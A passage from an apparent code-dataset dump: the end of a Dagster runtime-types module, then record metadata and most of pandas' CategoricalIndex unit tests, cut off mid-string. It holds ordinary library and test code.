Failure if value is not None: raise Failure('Value {value} must be None.') class PythonObjectType(RuntimeType): def __init__(self, python_type, key=None, name=None, typecheck_metadata_fn=None, **kwargs): name = check.opt_str_param(name, 'name', type(self).__name__) key = check.opt_str_param(key, 'key', name) super(PythonObjectType, self).__init__(key=key, name=name, **kwargs) self.python_type = check.type_param(python_type, 'python_type') self.typecheck_metadata_fn = check.opt_callable_param( typecheck_metadata_fn, 'typecheck_metadata_fn' ) def type_check(self, value): from dagster.core.definitions.events import Failure if not isinstance(value, self.python_type): raise Failure( 'Value {value} should be of type {type_name}.'.format( value=value, type_name=self.python_type.__name__ ) ) if self.typecheck_metadata_fn: return self.typecheck_metadata_fn(value) def define_python_dagster_type( python_type, name=None, description=None, input_hydration_config=None, output_materialization_config=None, serialization_strategy=None, auto_plugins=None, typecheck_metadata_fn=None, ): check.type_param(python_type, 'python_type') check.opt_str_param(name, 'name') check.opt_str_param(description, 'description') check.opt_inst_param(input_hydration_config, 'input_hydration_config', InputHydrationConfig) check.opt_inst_param( output_materialization_config, 'output_materialization_config', OutputMaterializationConfig ) check.opt_inst_param( serialization_strategy, 'serialization_strategy', SerializationStrategy, default=PickleSerializationStrategy(), ) auto_plugins = check.opt_list_param(auto_plugins, 'auto_plugins', of_type=type) check.param_invariant( all(issubclass(auto_plugin_type, TypeStoragePlugin) for auto_plugin_type in auto_plugins), 'auto_plugins', ) check.opt_callable_param(typecheck_metadata_fn, 'typecheck_metadata_fn') class _ObjectType(PythonObjectType): def __init__(self): super(_ObjectType, self).__init__( python_type=python_type, name=name, description=description, input_hydration_config=input_hydration_config, output_materialization_config=output_materialization_config, serialization_strategy=serialization_strategy, auto_plugins=auto_plugins, typecheck_metadata_fn=typecheck_metadata_fn, ) return _ObjectType def _create_nullable_input_schema(inner_type): if not inner_type.input_hydration_config: return None nullable_type = ConfigNullable(inner_type.input_hydration_config.schema_type).inst() class _NullableSchema(InputHydrationConfig): @property def schema_type(self): return nullable_type def construct_from_config_value(self, context, config_value): if config_value is None: return None return inner_type.input_hydration_config.construct_from_config_value( context, config_value ) return _NullableSchema() class NullableType(RuntimeType): def __init__(self, inner_type): key = 'Optional.' + inner_type.key super(NullableType, self).__init__( key=key, name=None, input_hydration_config=_create_nullable_input_schema(inner_type) ) self.inner_type = inner_type @property def display_name(self): return self.inner_type.display_name + '?' def type_check(self, value): return None if value is None else self.inner_type.type_check(value) @property def is_nullable(self): return True @property def inner_types(self): return [self.inner_type] + self.inner_type.inner_types def _create_list_input_schema(inner_type): if not inner_type.input_hydration_config: return None list_type = ConfigList(inner_type.input_hydration_config.schema_type).inst() class _ListSchema(InputHydrationConfig): @property def schema_type(self): return list_type def construct_from_config_value(self, context, config_value): convert_item = partial( inner_type.input_hydration_config.construct_from_config_value, context ) return list(map(convert_item, config_value)) return _ListSchema() class ListType(RuntimeType): def __init__(self, inner_type): key = 'List.' + inner_type.key super(ListType, self).__init__( key=key, name=None, input_hydration_config=_create_list_input_schema(inner_type) ) self.inner_type = inner_type @property def display_name(self): return '[' + self.inner_type.display_name + ']' def type_check(self, value): from dagster.core.definitions.events import Failure if not isinstance(value, list): raise Failure('Value must be a list, got {value}'.format(value=value)) for item in value: self.inner_type.type_check(item) @property def is_list(self): return True @property def inner_types(self): return [self.inner_type] + self.inner_type.inner_types def Optional(inner_type): check.inst_param(inner_type, 'inner_type', RuntimeType) class _Nullable(NullableType): def __init__(self): super(_Nullable, self).__init__(inner_type) return _Nullable.inst() def List(inner_type): check.inst_param(inner_type, 'inner_type', RuntimeType) class _List(ListType): def __init__(self): super(_List, self).__init__(inner_type) return _List.inst() class Stringish(RuntimeType): def __init__(self, key=None, name=None, **kwargs): name = check.opt_str_param(name, 'name', type(self).__name__) key = check.opt_str_param(key, 'key', name) super(Stringish, self).__init__(key=key, name=name, **kwargs) def is_scalar(self): return True def type_check(self, value): return _throw_if_not_string(value) _RUNTIME_MAP = { BuiltinEnum.ANY: Any.inst(), BuiltinEnum.BOOL: Bool.inst(), BuiltinEnum.FLOAT: Float.inst(), BuiltinEnum.INT: Int.inst(), BuiltinEnum.PATH: Path.inst(), BuiltinEnum.STRING: String.inst(), BuiltinEnum.NOTHING: Nothing.inst(), } def resolve_to_runtime_type(dagster_type): from .decorator import is_runtime_type_decorated_klass, get_runtime_type_on_decorated_klass from .mapping import remap_python_type dagster_type = remap_python_type(dagster_type) check_dagster_type_param(dagster_type, 'dagster_type', RuntimeType) if dagster_type is None: return Any.inst() if BuiltinEnum.contains(dagster_type): return RuntimeType.from_builtin_enum(dagster_type) if isinstance(dagster_type, WrappingListType): return resolve_to_runtime_list(dagster_type) if isinstance(dagster_type, WrappingNullableType): return resolve_to_runtime_nullable(dagster_type) if is_runtime_type_decorated_klass(dagster_type): return get_runtime_type_on_decorated_klass(dagster_type) if issubclass(dagster_type, RuntimeType): return dagster_type.inst() check.failed('should not reach') def resolve_to_runtime_list(list_type): check.inst_param(list_type, 'list_type', WrappingListType) return List(resolve_to_runtime_type(list_type.inner_type)) def resolve_to_runtime_nullable(nullable_type): check.inst_param(nullable_type, 'nullable_type', WrappingNullableType) return Optional(resolve_to_runtime_type(nullable_type.inner_type)) ALL_RUNTIME_BUILTINS = set(_RUNTIME_MAP.values()) def construct_runtime_type_dictionary(solid_defs): type_dict = {t.name: t for t in ALL_RUNTIME_BUILTINS} for solid_def in solid_defs: for runtime_type in solid_def.all_runtime_types(): type_dict[runtime_type.name] = runtime_type return type_dict

true

f7328a99195b9c2f34557772f93a23c78d7e72a9

43,541

py

Python

pandas/tests/indexes/test_category.py

zfrenchee/pandas

d28f9326de26882a9b4dc0bee9dec5c598747190

[ "BSD-3-Clause" ]

null

pandas/tests/indexes/test_category.py

zfrenchee/pandas

d28f9326de26882a9b4dc0bee9dec5c598747190

[ "BSD-3-Clause" ]

null

pandas/tests/indexes/test_category.py

zfrenchee/pandas

d28f9326de26882a9b4dc0bee9dec5c598747190

[ "BSD-3-Clause" ]

1

2019-03-31T13:46:57.000Z

# -*- coding: utf-8 -*- import pytest import pandas.util.testing as tm from pandas.core.indexes.api import Index, CategoricalIndex from pandas.core.dtypes.dtypes import CategoricalDtype from .common import Base from pandas.compat import range, PY3 import numpy as np from pandas import Categorical, IntervalIndex, compat from pandas.util.testing import assert_almost_equal import pandas.core.config as cf import pandas as pd if PY3: unicode = lambda x: x class TestCategoricalIndex(Base): _holder = CategoricalIndex def setup_method(self, method): self.indices = dict(catIndex=tm.makeCategoricalIndex(100)) self.setup_indices() def create_index(self, categories=None, ordered=False): if categories is None: categories = list('cab') return CategoricalIndex( list('aabbca'), categories=categories, ordered=ordered) def test_construction(self): ci = self.create_index(categories=list('abcd')) categories = ci.categories result = Index(ci) tm.assert_index_equal(result, ci, exact=True) assert not result.ordered result = Index(ci.values) tm.assert_index_equal(result, ci, exact=True) assert not result.ordered # empty result = CategoricalIndex(categories=categories) tm.assert_index_equal(result.categories, Index(categories)) tm.assert_numpy_array_equal(result.codes, np.array([], dtype='int8')) assert not result.ordered # passing categories result = CategoricalIndex(list('aabbca'), categories=categories) tm.assert_index_equal(result.categories, Index(categories)) tm.assert_numpy_array_equal(result.codes, np.array([0, 0, 1, 1, 2, 0], dtype='int8')) c = pd.Categorical(list('aabbca')) result = CategoricalIndex(c) tm.assert_index_equal(result.categories, Index(list('abc'))) tm.assert_numpy_array_equal(result.codes, np.array([0, 0, 1, 1, 2, 0], dtype='int8')) assert not result.ordered result = CategoricalIndex(c, categories=categories) tm.assert_index_equal(result.categories, Index(categories)) tm.assert_numpy_array_equal(result.codes, np.array([0, 0, 1, 1, 2, 0], dtype='int8')) assert not result.ordered ci = CategoricalIndex(c, categories=list('abcd')) result = CategoricalIndex(ci) tm.assert_index_equal(result.categories, Index(categories)) tm.assert_numpy_array_equal(result.codes, np.array([0, 0, 1, 1, 2, 0], dtype='int8')) assert not result.ordered result = CategoricalIndex(ci, categories=list('ab')) tm.assert_index_equal(result.categories, Index(list('ab'))) tm.assert_numpy_array_equal(result.codes, np.array([0, 0, 1, 1, -1, 0], dtype='int8')) assert not result.ordered result = CategoricalIndex(ci, categories=list('ab'), ordered=True) tm.assert_index_equal(result.categories, Index(list('ab'))) tm.assert_numpy_array_equal(result.codes, np.array([0, 0, 1, 1, -1, 0], dtype='int8')) assert result.ordered result = pd.CategoricalIndex(ci, categories=list('ab'), ordered=True) expected = pd.CategoricalIndex(ci, categories=list('ab'), ordered=True, dtype='category') tm.assert_index_equal(result, expected, exact=True) # turn me to an Index result = Index(np.array(ci)) assert isinstance(result, Index) assert not isinstance(result, CategoricalIndex) def test_construction_with_dtype(self): # specify dtype ci = self.create_index(categories=list('abc')) result = Index(np.array(ci), dtype='category') tm.assert_index_equal(result, ci, exact=True) result = Index(np.array(ci).tolist(), dtype='category') tm.assert_index_equal(result, ci, exact=True) # these are generally only equal when the categories are reordered ci = self.create_index() result = Index( np.array(ci), dtype='category').reorder_categories(ci.categories) tm.assert_index_equal(result, ci, exact=True) # make sure indexes are handled expected = CategoricalIndex([0, 1, 2], categories=[0, 1, 2], ordered=True) idx = Index(range(3)) result = CategoricalIndex(idx, categories=idx, ordered=True) tm.assert_index_equal(result, expected, exact=True) def test_construction_with_categorical_dtype(self): # construction with CategoricalDtype # GH18109 data, cats, ordered = 'a a b b'.split(), 'c b a'.split(), True dtype = CategoricalDtype(categories=cats, ordered=ordered) result = pd.CategoricalIndex(data, dtype=dtype) expected = pd.CategoricalIndex(data, categories=cats, ordered=ordered) tm.assert_index_equal(result, expected, exact=True) # error to combine categories or ordered and dtype keywords args with pytest.raises(ValueError, match="Cannot specify both `dtype` and " "`categories` or `ordered`."): pd.CategoricalIndex(data, categories=cats, dtype=dtype) with pytest.raises(ValueError, match="Cannot specify both `dtype` and " "`categories` or `ordered`."): pd.CategoricalIndex(data, ordered=ordered, dtype=dtype) def test_create_categorical(self): # https://github.com/pandas-dev/pandas/pull/17513 # The public CI constructor doesn't hit this code path with # instances of CategoricalIndex, but we still want to test the code ci = CategoricalIndex(['a', 'b', 'c']) # First ci is self, second ci is data. result = CategoricalIndex._create_categorical(ci, ci) expected = Categorical(['a', 'b', 'c']) tm.assert_categorical_equal(result, expected) def test_disallow_set_ops(self): # GH 10039 # set ops (+/-) raise TypeError idx = pd.Index(pd.Categorical(['a', 'b'])) pytest.raises(TypeError, lambda: idx - idx) pytest.raises(TypeError, lambda: idx + idx) pytest.raises(TypeError, lambda: idx - ['a', 'b']) pytest.raises(TypeError, lambda: idx + ['a', 'b']) pytest.raises(TypeError, lambda: ['a', 'b'] - idx) pytest.raises(TypeError, lambda: ['a', 'b'] + idx) def test_method_delegation(self): ci = CategoricalIndex(list('aabbca'), categories=list('cabdef')) result = ci.set_categories(list('cab')) tm.assert_index_equal(result, CategoricalIndex( list('aabbca'), categories=list('cab'))) ci = CategoricalIndex(list('aabbca'), categories=list('cab')) result = ci.rename_categories(list('efg')) tm.assert_index_equal(result, CategoricalIndex( list('ffggef'), categories=list('efg'))) # GH18862 (let rename_categories take callables) result = ci.rename_categories(lambda x: x.upper()) tm.assert_index_equal(result, CategoricalIndex( list('AABBCA'), categories=list('CAB'))) ci = CategoricalIndex(list('aabbca'), categories=list('cab')) result = ci.add_categories(['d']) tm.assert_index_equal(result, CategoricalIndex( list('aabbca'), categories=list('cabd'))) ci = CategoricalIndex(list('aabbca'), categories=list('cab')) result = ci.remove_categories(['c']) tm.assert_index_equal(result, CategoricalIndex( list('aabb') + [np.nan] + ['a'], categories=list('ab'))) ci = CategoricalIndex(list('aabbca'), categories=list('cabdef')) result = ci.as_unordered() tm.assert_index_equal(result, ci) ci = CategoricalIndex(list('aabbca'), categories=list('cabdef')) result = ci.as_ordered() tm.assert_index_equal(result, CategoricalIndex( list('aabbca'), categories=list('cabdef'), ordered=True)) # invalid pytest.raises(ValueError, lambda: ci.set_categories( list('cab'), inplace=True)) def test_contains(self): ci = self.create_index(categories=list('cabdef')) assert 'a' in ci assert 'z' not in ci assert 'e' not in ci assert np.nan not in ci # assert codes NOT in index assert 0 not in ci assert 1 not in ci ci = CategoricalIndex( list('aabbca') + [np.nan], categories=list('cabdef')) assert np.nan in ci def test_min_max(self): ci = self.create_index(ordered=False) pytest.raises(TypeError, lambda: ci.min()) pytest.raises(TypeError, lambda: ci.max()) ci = self.create_index(ordered=True) assert ci.min() == 'c' assert ci.max() == 'b' def test_map(self): ci = pd.CategoricalIndex(list('ABABC'), categories=list('CBA'), ordered=True) result = ci.map(lambda x: x.lower()) exp = pd.CategoricalIndex(list('ababc'), categories=list('cba'), ordered=True) tm.assert_index_equal(result, exp) ci = pd.CategoricalIndex(list('ABABC'), categories=list('BAC'), ordered=False, name='XXX') result = ci.map(lambda x: x.lower()) exp = pd.CategoricalIndex(list('ababc'), categories=list('bac'), ordered=False, name='XXX') tm.assert_index_equal(result, exp) # GH 12766: Return an index not an array tm.assert_index_equal(ci.map(lambda x: 1), Index(np.array([1] * 5, dtype=np.int64), name='XXX')) # change categories dtype ci = pd.CategoricalIndex(list('ABABC'), categories=list('BAC'), ordered=False) def f(x): return {'A': 10, 'B': 20, 'C': 30}.get(x) result = ci.map(f) exp = pd.CategoricalIndex([10, 20, 10, 20, 30], categories=[20, 10, 30], ordered=False) tm.assert_index_equal(result, exp) result = ci.map(pd.Series([10, 20, 30], index=['A', 'B', 'C'])) tm.assert_index_equal(result, exp) result = ci.map({'A': 10, 'B': 20, 'C': 30}) tm.assert_index_equal(result, exp) def test_map_with_categorical_series(self): # GH 12756 a = pd.Index([1, 2, 3, 4]) b = pd.Series(["even", "odd", "even", "odd"], dtype="category") c = pd.Series(["even", "odd", "even", "odd"]) exp = CategoricalIndex(["odd", "even", "odd", np.nan]) tm.assert_index_equal(a.map(b), exp) exp = pd.Index(["odd", "even", "odd", np.nan]) tm.assert_index_equal(a.map(c), exp) @pytest.mark.parametrize('klass', [list, tuple, np.array, pd.Series]) def test_where(self, klass): i = self.create_index() cond = [True] * len(i) expected = i result = i.where(klass(cond)) tm.assert_index_equal(result, expected) cond = [False] + [True] * (len(i) - 1) expected = CategoricalIndex([np.nan] + i[1:].tolist(), categories=i.categories) result = i.where(klass(cond)) tm.assert_index_equal(result, expected) def test_append(self): ci = self.create_index() categories = ci.categories # append cats with the same categories result = ci[:3].append(ci[3:]) tm.assert_index_equal(result, ci, exact=True) foos = [ci[:1], ci[1:3], ci[3:]] result = foos[0].append(foos[1:]) tm.assert_index_equal(result, ci, exact=True) # empty result = ci.append([]) tm.assert_index_equal(result, ci, exact=True) # appending with different categories or reoreded is not ok pytest.raises( TypeError, lambda: ci.append(ci.values.set_categories(list('abcd')))) pytest.raises( TypeError, lambda: ci.append(ci.values.reorder_categories(list('abc')))) # with objects result = ci.append(Index(['c', 'a'])) expected = CategoricalIndex(list('aabbcaca'), categories=categories) tm.assert_index_equal(result, expected, exact=True) # invalid objects pytest.raises(TypeError, lambda: ci.append(Index(['a', 'd']))) # GH14298 - if base object is not categorical -> coerce to object result = Index(['c', 'a']).append(ci) expected = Index(list('caaabbca')) tm.assert_index_equal(result, expected, exact=True) def test_insert(self): ci = self.create_index() categories = ci.categories # test 0th element result = ci.insert(0, 'a') expected = CategoricalIndex(list('aaabbca'), categories=categories) tm.assert_index_equal(result, expected, exact=True) # test Nth element that follows Python list behavior result = ci.insert(-1, 'a') expected = CategoricalIndex(list('aabbcaa'), categories=categories) tm.assert_index_equal(result, expected, exact=True) # test empty result = CategoricalIndex(categories=categories).insert(0, 'a') expected = CategoricalIndex(['a'], categories=categories) tm.assert_index_equal(result, expected, exact=True) # invalid pytest.raises(TypeError, lambda: ci.insert(0, 'd')) # GH 18295 (test missing) expected = CategoricalIndex(['a', np.nan, 'a', 'b', 'c', 'b']) for na in (np.nan, pd.NaT, None): result = CategoricalIndex(list('aabcb')).insert(1, na) tm.assert_index_equal(result, expected) def test_delete(self): ci = self.create_index() categories = ci.categories result = ci.delete(0) expected = CategoricalIndex(list('abbca'), categories=categories) tm.assert_index_equal(result, expected, exact=True) result = ci.delete(-1) expected = CategoricalIndex(list('aabbc'), categories=categories) tm.assert_index_equal(result, expected, exact=True) with pytest.raises((IndexError, ValueError)): # Either depending on NumPy version ci.delete(10) def test_astype(self): ci = self.create_index() result = ci.astype(object) tm.assert_index_equal(result, Index(np.array(ci))) # this IS equal, but not the same class assert result.equals(ci) assert isinstance(result, Index) assert not isinstance(result, CategoricalIndex) # interval ii = IntervalIndex.from_arrays(left=[-0.001, 2.0], right=[2, 4], closed='right') ci = CategoricalIndex(Categorical.from_codes( [0, 1, -1], categories=ii, ordered=True)) result = ci.astype('interval') expected = ii.take([0, 1, -1]) tm.assert_index_equal(result, expected) result = IntervalIndex.from_intervals(result.values) tm.assert_index_equal(result, expected) @pytest.mark.parametrize('name', [None, 'foo']) @pytest.mark.parametrize('dtype_ordered', [True, False]) @pytest.mark.parametrize('index_ordered', [True, False]) def test_astype_category(self, name, dtype_ordered, index_ordered): # GH 18630 index = self.create_index(ordered=index_ordered) if name: index = index.rename(name) # standard categories dtype = CategoricalDtype(ordered=dtype_ordered) result = index.astype(dtype) expected = CategoricalIndex(index.tolist(), name=name, categories=index.categories, ordered=dtype_ordered) tm.assert_index_equal(result, expected) # non-standard categories dtype = CategoricalDtype(index.unique().tolist()[:-1], dtype_ordered) result = index.astype(dtype) expected = CategoricalIndex(index.tolist(), name=name, dtype=dtype) tm.assert_index_equal(result, expected) if dtype_ordered is False: # dtype='category' can't specify ordered, so only test once result = index.astype('category') expected = index tm.assert_index_equal(result, expected) def test_reindex_base(self): # Determined by cat ordering. idx = CategoricalIndex(list("cab"), categories=list("cab")) expected = np.arange(len(idx), dtype=np.intp) actual = idx.get_indexer(idx) tm.assert_numpy_array_equal(expected, actual) with tm.assert_raises_regex(ValueError, "Invalid fill method"): idx.get_indexer(idx, method="invalid") def test_reindexing(self): np.random.seed(123456789) ci = self.create_index() oidx = Index(np.array(ci)) for n in [1, 2, 5, len(ci)]: finder = oidx[np.random.randint(0, len(ci), size=n)] expected = oidx.get_indexer_non_unique(finder)[0] actual = ci.get_indexer(finder) tm.assert_numpy_array_equal(expected, actual) # see gh-17323 # # Even when indexer is equal to the # members in the index, we should # respect duplicates instead of taking # the fast-track path. for finder in [list("aabbca"), list("aababca")]: expected = oidx.get_indexer_non_unique(finder)[0] actual = ci.get_indexer(finder) tm.assert_numpy_array_equal(expected, actual) def test_reindex_dtype(self): c = CategoricalIndex(['a', 'b', 'c', 'a']) res, indexer = c.reindex(['a', 'c']) tm.assert_index_equal(res, Index(['a', 'a', 'c']), exact=True) tm.assert_numpy_array_equal(indexer, np.array([0, 3, 2], dtype=np.intp)) c = CategoricalIndex(['a', 'b', 'c', 'a']) res, indexer = c.reindex(Categorical(['a', 'c'])) exp = CategoricalIndex(['a', 'a', 'c'], categories=['a', 'c']) tm.assert_index_equal(res, exp, exact=True) tm.assert_numpy_array_equal(indexer, np.array([0, 3, 2], dtype=np.intp)) c = CategoricalIndex(['a', 'b', 'c', 'a'], categories=['a', 'b', 'c', 'd']) res, indexer = c.reindex(['a', 'c']) exp = Index(['a', 'a', 'c'], dtype='object') tm.assert_index_equal(res, exp, exact=True) tm.assert_numpy_array_equal(indexer, np.array([0, 3, 2], dtype=np.intp)) c = CategoricalIndex(['a', 'b', 'c', 'a'], categories=['a', 'b', 'c', 'd']) res, indexer = c.reindex(Categorical(['a', 'c'])) exp = CategoricalIndex(['a', 'a', 'c'], categories=['a', 'c']) tm.assert_index_equal(res, exp, exact=True) tm.assert_numpy_array_equal(indexer, np.array([0, 3, 2], dtype=np.intp)) def test_reindex_empty_index(self): # See GH16770 c = CategoricalIndex([]) res, indexer = c.reindex(['a', 'b']) tm.assert_index_equal(res, Index(['a', 'b']), exact=True) tm.assert_numpy_array_equal(indexer, np.array([-1, -1], dtype=np.intp)) def test_is_monotonic(self): c = CategoricalIndex([1, 2, 3]) assert c.is_monotonic_increasing assert not c.is_monotonic_decreasing c = CategoricalIndex([1, 2, 3], ordered=True) assert c.is_monotonic_increasing assert not c.is_monotonic_decreasing c = CategoricalIndex([1, 2, 3], categories=[3, 2, 1]) assert not c.is_monotonic_increasing assert c.is_monotonic_decreasing c = CategoricalIndex([1, 3, 2], categories=[3, 2, 1]) assert not c.is_monotonic_increasing assert not c.is_monotonic_decreasing c = CategoricalIndex([1, 2, 3], categories=[3, 2, 1], ordered=True) assert not c.is_monotonic_increasing assert c.is_monotonic_decreasing # non lexsorted categories categories = [9, 0, 1, 2, 3] c = CategoricalIndex([9, 0], categories=categories) assert c.is_monotonic_increasing assert not c.is_monotonic_decreasing c = CategoricalIndex([0, 1], categories=categories) assert c.is_monotonic_increasing assert not c.is_monotonic_decreasing def test_duplicates(self): idx = CategoricalIndex([0, 0, 0], name='foo') assert not idx.is_unique assert idx.has_duplicates expected = CategoricalIndex([0], name='foo') tm.assert_index_equal(idx.drop_duplicates(), expected) tm.assert_index_equal(idx.unique(), expected) def test_get_indexer(self): idx1 = CategoricalIndex(list('aabcde'), categories=list('edabc')) idx2 = CategoricalIndex(list('abf')) for indexer in [idx2, list('abf'), Index(list('abf'))]: r1 = idx1.get_indexer(idx2) assert_almost_equal(r1, np.array([0, 1, 2, -1], dtype=np.intp)) pytest.raises(NotImplementedError, lambda: idx2.get_indexer(idx1, method='pad')) pytest.raises(NotImplementedError, lambda: idx2.get_indexer(idx1, method='backfill')) pytest.raises(NotImplementedError, lambda: idx2.get_indexer(idx1, method='nearest')) def test_get_loc(self): # GH 12531 cidx1 = CategoricalIndex(list('abcde'), categories=list('edabc')) idx1 = Index(list('abcde')) assert cidx1.get_loc('a') == idx1.get_loc('a') assert cidx1.get_loc('e') == idx1.get_loc('e') for i in [cidx1, idx1]: with pytest.raises(KeyError): i.get_loc('NOT-EXIST') # non-unique cidx2 = CategoricalIndex(list('aacded'), categories=list('edabc')) idx2 = Index(list('aacded')) # results in bool array res = cidx2.get_loc('d') tm.assert_numpy_array_equal(res, idx2.get_loc('d')) tm.assert_numpy_array_equal(res, np.array([False, False, False, True, False, True])) # unique element results in scalar res = cidx2.get_loc('e') assert res == idx2.get_loc('e') assert res == 4 for i in [cidx2, idx2]: with pytest.raises(KeyError): i.get_loc('NOT-EXIST') # non-unique, slicable cidx3 = CategoricalIndex(list('aabbb'), categories=list('abc')) idx3 = Index(list('aabbb')) # results in slice res = cidx3.get_loc('a') assert res == idx3.get_loc('a') assert res == slice(0, 2, None) res = cidx3.get_loc('b') assert res == idx3.get_loc('b') assert res == slice(2, 5, None) for i in [cidx3, idx3]: with pytest.raises(KeyError): i.get_loc('c') def test_repr_roundtrip(self): ci = CategoricalIndex(['a', 'b'], categories=['a', 'b'], ordered=True) str(ci) tm.assert_index_equal(eval(repr(ci)), ci, exact=True) # formatting if PY3: str(ci) else: compat.text_type(ci) # long format # this is not reprable ci = CategoricalIndex(np.random.randint(0, 5, size=100)) if PY3: str(ci) else: compat.text_type(ci) def test_isin(self): ci = CategoricalIndex( list('aabca') + [np.nan], categories=['c', 'a', 'b']) tm.assert_numpy_array_equal( ci.isin(['c']), np.array([False, False, False, True, False, False])) tm.assert_numpy_array_equal( ci.isin(['c', 'a', 'b']), np.array([True] * 5 + [False])) tm.assert_numpy_array_equal( ci.isin(['c', 'a', 'b', np.nan]), np.array([True] * 6)) # mismatched categorical -> coerced to ndarray so doesn't matter result = ci.isin(ci.set_categories(list('abcdefghi'))) expected = np.array([True] * 6) tm.assert_numpy_array_equal(result, expected) result = ci.isin(ci.set_categories(list('defghi'))) expected = np.array([False] * 5 + [True]) tm.assert_numpy_array_equal(result, expected) def test_identical(self): ci1 = CategoricalIndex(['a', 'b'], categories=['a', 'b'], ordered=True) ci2 = CategoricalIndex(['a', 'b'], categories=['a', 'b', 'c'], ordered=True) assert ci1.identical(ci1) assert ci1.identical(ci1.copy()) assert not ci1.identical(ci2) def test_ensure_copied_data(self): # gh-12309: Check the "copy" argument of each # Index.__new__ is honored. # # Must be tested separately from other indexes because # self.value is not an ndarray. _base = lambda ar: ar if ar.base is None else ar.base for index in self.indices.values(): result = CategoricalIndex(index.values, copy=True) tm.assert_index_equal(index, result) assert _base(index.values) is not _base(result.values) result = CategoricalIndex(index.values, copy=False) assert _base(index.values) is _base(result.values) def test_equals_categorical(self): ci1 = CategoricalIndex(['a', 'b'], categories=['a', 'b'], ordered=True) ci2 = CategoricalIndex(['a', 'b'], categories=['a', 'b', 'c'], ordered=True) assert ci1.equals(ci1) assert not ci1.equals(ci2) assert ci1.equals(ci1.astype(object)) assert ci1.astype(object).equals(ci1) assert (ci1 == ci1).all() assert not (ci1 != ci1).all() assert not (ci1 > ci1).all() assert not (ci1 < ci1).all() assert (ci1 <= ci1).all() assert (ci1 >= ci1).all() assert not (ci1 == 1).all() assert (ci1 == Index(['a', 'b'])).all() assert (ci1 == ci1.values).all() # invalid comparisons with tm.assert_raises_regex(ValueError, "Lengths must match"): ci1 == Index(['a', 'b', 'c']) pytest.raises(TypeError, lambda: ci1 == ci2) pytest.raises( TypeError, lambda: ci1 == Categorical(ci1.values, ordered=False)) pytest.raises( TypeError, lambda: ci1 == Categorical(ci1.values, categories=list('abc'))) # tests # make sure that we are testing for category inclusion properly ci = CategoricalIndex(list('aabca'), categories=['c', 'a', 'b']) assert not ci.equals(list('aabca')) # Same categories, but different order # Unordered assert ci.equals(CategoricalIndex(list('aabca'))) # Ordered assert not ci.equals(CategoricalIndex(list('aabca'), ordered=True)) assert ci.equals(ci.copy()) ci = CategoricalIndex(list('aabca') + [np.nan], categories=['c', 'a', 'b']) assert not ci.equals(list('aabca')) assert not ci.equals(CategoricalIndex(list('aabca'))) assert ci.equals(ci.copy()) ci = CategoricalIndex(list('aabca') + [np.nan], categories=['c', 'a', 'b']) assert not ci.equals(list('aabca') + [np.nan]) assert ci.equals(CategoricalIndex(list('aabca') + [np.nan])) assert not ci.equals(CategoricalIndex(list('aabca') + [np.nan], ordered=True)) assert ci.equals(ci.copy()) def test_string_categorical_index_repr(self): # short idx = pd.CategoricalIndex(['a', 'bb', 'ccc']) if PY3: expected = u"""CategoricalIndex(['a', 'bb', 'ccc'], categories=['a', 'bb', 'ccc'], ordered=False, dtype='category')""" # noqa assert repr(idx) == expected else: expected = u"""CategoricalIndex([u'a', u'bb', u'ccc'], categories=[u'a', u'bb', u'ccc'], ordered=False, dtype='category')""" # noqa assert unicode(idx) == expected # multiple lines idx = pd.CategoricalIndex(['a', 'bb', 'ccc'] * 10) if PY3: expected = u"""CategoricalIndex(['a', 'bb', 'ccc', 'a', 'bb', 'ccc', 'a', 'bb', 'ccc', 'a', 'bb', 'ccc', 'a', 'bb', 'ccc', 'a', 'bb', 'ccc', 'a', 'bb', 'ccc', 'a', 'bb', 'ccc', 'a', 'bb', 'ccc', 'a', 'bb', 'ccc'], categories=['a', 'bb', 'ccc'], ordered=False, dtype='category')""" # noqa assert repr(idx) == expected else: expected = u"""CategoricalIndex([u'a', u'bb', u'ccc', u'a', u'bb', u'ccc', u'a', u'bb', u'ccc', u'a', u'bb', u'ccc', u'a', u'bb', u'ccc', u'a', u'bb', u'ccc', u'a', u'bb', u'ccc', u'a', u'bb', u'ccc', u'a', u'bb', u'ccc', u'a', u'bb', u'ccc'], categories=[u'a', u'bb', u'ccc'], ordered=False, dtype='category')""" # noqa assert unicode(idx) == expected # truncated idx = pd.CategoricalIndex(['a', 'bb', 'ccc'] * 100) if PY3: expected = u"""CategoricalIndex(['a', 'bb', 'ccc', 'a', 'bb', 'ccc', 'a', 'bb', 'ccc', 'a', ... 'ccc', 'a', 'bb', 'ccc', 'a', 'bb', 'ccc', 'a', 'bb', 'ccc'], categories=['a', 'bb', 'ccc'], ordered=False, dtype='category', length=300)""" # noqa assert repr(idx) == expected else: expected = u"""CategoricalIndex([u'a', u'bb', u'ccc', u'a', u'bb', u'ccc', u'a', u'bb', u'ccc', u'a', ... u'ccc', u'a', u'bb', u'ccc', u'a', u'bb', u'ccc', u'a', u'bb', u'ccc'], categories=[u'a', u'bb', u'ccc'], ordered=False, dtype='category', length=300)""" # noqa assert unicode(idx) == expected # larger categories idx = pd.CategoricalIndex(list('abcdefghijklmmo')) if PY3: expected = u"""CategoricalIndex(['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'm', 'o'], categories=['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', ...], ordered=False, dtype='category')""" # noqa assert repr(idx) == expected else: expected = u"""CategoricalIndex([u'a', u'b', u'c', u'd', u'e', u'f', u'g', u'h', u'i', u'j', u'k', u'l', u'm', u'm', u'o'], categories=[u'a', u'b', u'c', u'd', u'e', u'f', u'g', u'h', ...], ordered=False, dtype='category')""" # noqa assert unicode(idx) == expected # short idx = pd.CategoricalIndex([u'あ', u'いい', u'ううう']) if PY3: expected = u"""CategoricalIndex(['あ', 'いい', 'ううう'], categories=['あ', 'いい', 'ううう'], ordered=False, dtype='category')""" # noqa assert repr(idx) == expected else: expected = u"""CategoricalIndex([u'あ', u'いい', u'ううう'], categories=[u'あ', u'いい', u'ううう'], ordered=False, dtype='category')""" # noqa assert unicode(idx) == expected # multiple lines idx = pd.CategoricalIndex([u'あ', u'いい', u'ううう'] * 10) if PY3: expected = u"""CategoricalIndex(['あ', 'いい', 'ううう', 'あ', 'いい', 'ううう', 'あ', 'いい', 'ううう', 'あ', 'いい', 'ううう', 'あ', 'いい', 'ううう', 'あ', 'いい', 'ううう', 'あ', 'いい', 'ううう', 'あ', 'いい', 'ううう', 'あ', 'いい', 'ううう', 'あ', 'いい', 'ううう'], categories=['あ', 'いい', 'ううう'], ordered=False, dtype='category')""" # noqa assert repr(idx) == expected else: expected = u"""CategoricalIndex([u'あ', 